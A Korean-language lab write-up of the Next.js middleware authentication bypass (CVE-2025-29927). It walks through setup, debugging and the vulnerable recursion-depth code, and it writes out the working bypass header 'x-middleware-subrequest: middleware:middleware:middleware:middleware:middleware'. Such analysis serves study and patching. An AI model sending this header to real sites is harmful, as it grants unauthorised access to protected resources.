
Next.js 미들웨어 인증 우회
x-middleware-subrequest 요청 헤더를 위조하여 Next.js 미들웨어 인증 메커니즘을 우회하고, 보호된 라우트에 대한 무단 액세스를 허용합니다.
프로젝트 소스 코드는 P神에서 가져온 것이며, Next.js 버전은 15.2.2입니다(Next.js 15.x의 경우 이 문제는 15.2.3에서 수정되었습니다).
Node와 npm이 설치되어 있는지 확인하세요. 다음 명령어로 버전을 확인합니다:
node -v
npm -v
의존성을 설치하고 프로젝트를 시작합니다
# 1. 进入项目目录
cd vulenv
# 2. 全局安装 Yarn(如果尚未安装)
npm install -g yarn
# 3. 安装项目依赖
yarn install
# 4. 启动开发服务器
npm run dev
또는 한 번에 모두 실행:
cd vulenv && npm install -g yarn && yarn install && npm run dev
성공하면 다음과 같습니다:


VScode 디버깅을 다음과 같이 구성합니다
{
"version": "0.2.0",
"configurations": [
{
"name": "Next.js: debug server-side",
"type": "node-terminal",
"request": "launch",
"command": "npm run dev"
},
{
"name": "Next.js: debug client-side",
"type": "chrome",
"request": "launch",
"url": "http://localhost:3000"
},
{
"name": "Next.js: debug full stack",
"type": "node-terminal",
"request": "launch",
"command": "npm run dev",
"serverReadyAction": {
"pattern": "- Local:.+(https?://.+)",
"uriFormat": "%s",
"action": "debugWithChrome"
}
}
]
}
const run = withTaggedErrors(async function runWithTaggedErrors(params) {
var _params_request_body;
const runtime = await getRuntimeContext(params);
const subreq = params.request.headers[`x-middleware-subrequest`];
const subrequests = typeof subreq === 'string' ? subreq.split(':') : [];
const MAX_RECURSION_DEPTH = 5;
const depth = subrequests.reduce((acc, curr)=>curr === params.name ? acc + 1 : acc, 0);
if (depth >= MAX_RECURSION_DEPTH) {
return {
waitUntil: Promise.resolve(),
response: new runtime.context.Response(null, {
headers: {
'x-middleware-next': '1'
}
})
};
}
......
이것은 재귀 호출의 깊이를 감지하여 무한 루프 호출을 방지하기 위한 미들웨어 함수입니다. 이 메커니즘은 x-middleware-subrequest 요청 헤더에 의존하며, 이 헤더를 콜론(:)으로 분할하여 여러 하위 요청 이름으로 나누고, 현재 미들웨어 이름(params.name)과 일치하는 횟수(즉, 재귀 깊이)를 계산합니다. 재귀 깊이가 설정된 임계값(기본값 MAX_RECURSION_DEPTH = 5)에 도달하거나 초과하면, 미들웨어는 신원 검증과 같은 핵심 로직을 건너뛰고 요청 처리 흐름을 계속 진행합니다.
Tips: 무한 루프 호출 방지에 대한 대략적인 의미는 다음과 같습니다
사용자가 /dashboard에 접근
↓
middleware가 가로채서 /api/auth를 요청
↓
/api/auth가 다시 middleware를 트리거
↓
middleware가 다시 /api/auth를 요청
↓
...
무한 루프! 🌀
미들웨어 이름이 middleware이므로 다음과 같은 요청 헤더를 구성할 수 있습니다:
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware
위와 같은 구성은 depth = 5가 되어 다음 코드를 직접 트리거합니다:
if (depth >= MAX_RECURSION_DEPTH)
애플리케이션이 신원 검증 로직을 미들웨어에 작성한 경우, 미들웨어가 인증 로직을 종료하고 다음을 반환하게 됩니다:
x-middleware-next: 1
이로 인해 요청이 계속 백엔드로 전달되어, 인증되지 않은 상태에서 보호된 리소스를 획득할 수 있습니다.
아래 그림의 위치에 중단점을 설정한 후(경로 상세: CVE-2025-29927/vulenv/node_modules/next/dist/server/web/sandbox/sandbox.js) 디버깅을 시작합니다.

Payload를 전송합니다

아래 그림의 위치에서 중단되며, 이때 depth 값이 5인 것을 확인할 수 있습니다

계속 실행하면 보호된 리소스를 획득할 수 있습니다

Pocsuite3 기반으로 작성되었으며, 자세한 내용은 Poc_CVE-2025-29927.py에서 확인할 수 있습니다.

Next.js and the corrupt middleware: the authorizing artifact